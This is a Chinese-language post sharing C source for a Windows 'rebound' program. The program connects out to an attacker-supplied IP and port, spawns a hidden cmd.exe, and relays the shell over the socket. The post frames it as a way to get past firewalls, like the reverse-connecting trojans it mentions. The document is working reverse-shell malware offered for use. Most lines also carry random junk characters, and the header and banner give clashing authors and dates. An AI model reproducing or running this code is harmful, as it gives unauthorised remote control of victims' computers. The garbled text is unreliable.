这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @k~?h=o\b
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/* ============================== .d`+#1Ot(
Rebound port in Windows NT T=cSTS!P;q
By wind,2006/7 Rf@D]+v
===============================*/ ;SQ<^"eK
#include Wd4fIegk
#include *Yv"lB8
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#pragma comment(lib,"wsock32.lib") $;un$ko6%
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void OutputShell(); m1_?xU
SOCKET sClient; N_<sCRd]9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /H.QGPr
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void main(int argc,char **argv) U`q[5U"
{ ^B@4 w\t
WSADATA stWsaData; J#Fe"
int nRet; "?,3O2t
SOCKADDR_IN stSaiClient,stSaiServer; {frEVHw
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if(argc != 3) XuJwZN!(
{ 5_Yv>tx
printf("Useage:\n\rRebound DestIP DestPort\n"); lEi,duS)
return; oTtmn,
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} mOwgk7s[J
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WSAStartup(MAKEWORD(2,2),&stWsaData); _dqjRhu
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rh2pVDS
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stSaiClient.sin_family = AF_INET; Ff>Y<7CQ
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stSaiClient.sin_port = htons(0); pH#&B_S6z=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K-wjQ|*1
{ 1=#r$H
printf("Bind Socket Failed!\n"); .G+}Kn9!
return; ~l!(I-'?g
} o^RdVSkU;
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stSaiServer.sin_family = AF_INET; nzy =0Ox[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LoHWkNZ5:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QxnP+U~N
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o!mfd}nG
{ Y^LFJB|b4
printf("Connect Error!"); 8DTk<5mW~
return; 1W~-C B>
} v,vTRrpK
OutputShell(); 0!=e1_
} 3sGrX"0D
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void OutputShell() o0 -e,F>u
{ ^FgNg'"[3
char szBuff[1024]; J'9&dt
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; xmKa8']x
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yG&kP:k<
STARTUPINFO stStartupInfo; ;TSnIC)c
char *szShell; CkoPno
PROCESS_INFORMATION stProcessInformation; a2/r$Tgm
unsigned long lBytesRead; 9?D7"P+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &_4A6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +lJuF/sS8m
stSecurityAttributes.lpSecurityDescriptor = 0; 37p0*%a":
stSecurityAttributes.bInheritHandle = TRUE; $ajw]2kx
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?Z4&j'z<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); };9dd3X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :Tuy]]k
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NJqALm!(
stStartupInfo.wShowWindow = SW_HIDE; (m;P,*
stStartupInfo.hStdInput = hReadPipe; ! qrF=a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]p'Qk
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GetVersionEx(&stOsversionInfo); HKOJkbVZ2^
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switch(stOsversionInfo.dwPlatformId) ^'EEry
{ :^%soEi
case 1: I-/PzL<W P
szShell = "command.com"; @mP@~
break; /l(:H
default: 7vr)JT=
szShell = "cmd.exe"; TeqFy( Dr
break; "]c:V4S#`A
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )2S0OY.
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send(sClient,szMsg,77,0); 4n3QW%#
while(1) JS(KCY 9
{ YD@V2gK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tB(Q-c
if(lBytesRead) @1n0<V/
{ VPN@q<BV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7/Lbs
send(sClient,szBuff,lBytesRead,0); czMLvPXRx
} qgZ(o@\
else !YJdi~q
{ @Jm$<E
lBytesRead=recv(sClient,szBuff,1024,0); DP;B*s4{U
if(lBytesRead<=0) break; ,6t0w|@-k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aF'Ik XG d
} g?=B{V
} Yf {s0Z
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return; S<p
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}